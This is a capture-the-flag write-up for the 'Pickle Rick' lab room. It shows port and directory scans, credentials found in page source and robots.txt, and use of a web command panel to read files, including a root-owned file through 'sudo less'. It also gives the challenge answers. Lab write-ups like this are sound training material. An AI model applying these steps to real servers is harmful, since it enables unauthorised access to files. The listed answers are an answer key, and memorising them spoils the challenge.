Pickle Rick THM
04/18/2022

Enumeration

nmap -sV -sC -T4 10.10.222.34

```
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 3f:d4:9c:b5:2b:e5:85:33:55:6a:57:9b:96:08:7c:fa (RSA)
|   256 3d:21:f5:0d:c0:e3:a0:4a:28:76:66:7a:c6:d3:97:69 (ECDSA)
|_  256 7b:2c:5e:26:1e:ee:4f:b4:61:dc:9d:e2:30:ef:be:be (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Viewing source code on web server presents **username: R1ckRul3s**

gobuster dir -u 10.10.222.34 -w /usr/share/wordlists/dirb/common.txt

```
============================================================
/.htpasswd            (Status: 403) [Size: 296]
/.hta                 (Status: 403) [Size: 291]
/.htaccess            (Status: 403) [Size: 296]
/assets               (Status: 301) [Size: 313] [--> http://10.10.222.34/assets/]
/index.html           (Status: 200) [Size: 1062]
/robots.txt           (Status: 200) [Size: 17]
/server-status        (Status: 403) [Size: 300]
```

/robots.txt contains the text which is most likely a **password: Wubbalubbadubdub**
I could not find a login portal or anything so I did another gobuster scan using different arguments

gobuster dir -u 10.10.222.34 -w /usr/share/wordlists/dirb/common.txt -x .php, html, .txt==

```
/.hta.                (Status: 403) [Size: 292]
/.hta                 (Status: 403) [Size: 291]
/.hta.php             (Status: 403) [Size: 295]
/.htaccess            (Status: 403) [Size: 296]
/.htpasswd            (Status: 403) [Size: 296]
/.htaccess.php        (Status: 403) [Size: 300]
/.htpasswd.php        (Status: 403) [Size: 300]
```

```
/.htaccess.          (Status: 403) [Size: 297]
/.htpasswd.           (Status: 403) [Size: 297]
/assets              (Status: 301) [Size: 313] [--> http://10.10.222.34/assets/]
/denied.php           (Status: 302) [Size: 0] [--> /login.php]
/index.html          (Status: 200) [Size: 1062]
/login.php           (Status: 200) [Size: 882]
/portal.php          (Status: 302) [Size: 0] [--> /login.php]
/robots.txt          (Status: 200) [Size: 17]
/server-status        (Status: 403) [Size: 300]
```

Initial Foothold

Browsing to /login.php contained a login page, I used the previous username and password and logged in successfully.

Username: R1ckRul3s
Password: Wubbalubbadubdub

I was brought to portal.php which contains a command panel

Typing **ls** in the command prompt gave me:

```
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
```

Browsing to http://10.10.222.34/Sup3rS3cretPickl3Ingred.txt presented the first ingredient:
mr. meeseek hair

Typing in the command prompt less ../../../home/rick/second\ ingredients gave me the second ingredient:
1 jerry tear

Privilege Escalation

For the third ingredient which is found in the root folder, I typed the command **sudo less ../../../root/3rd.txt** to obtain the third ingredient. **fleeb juice**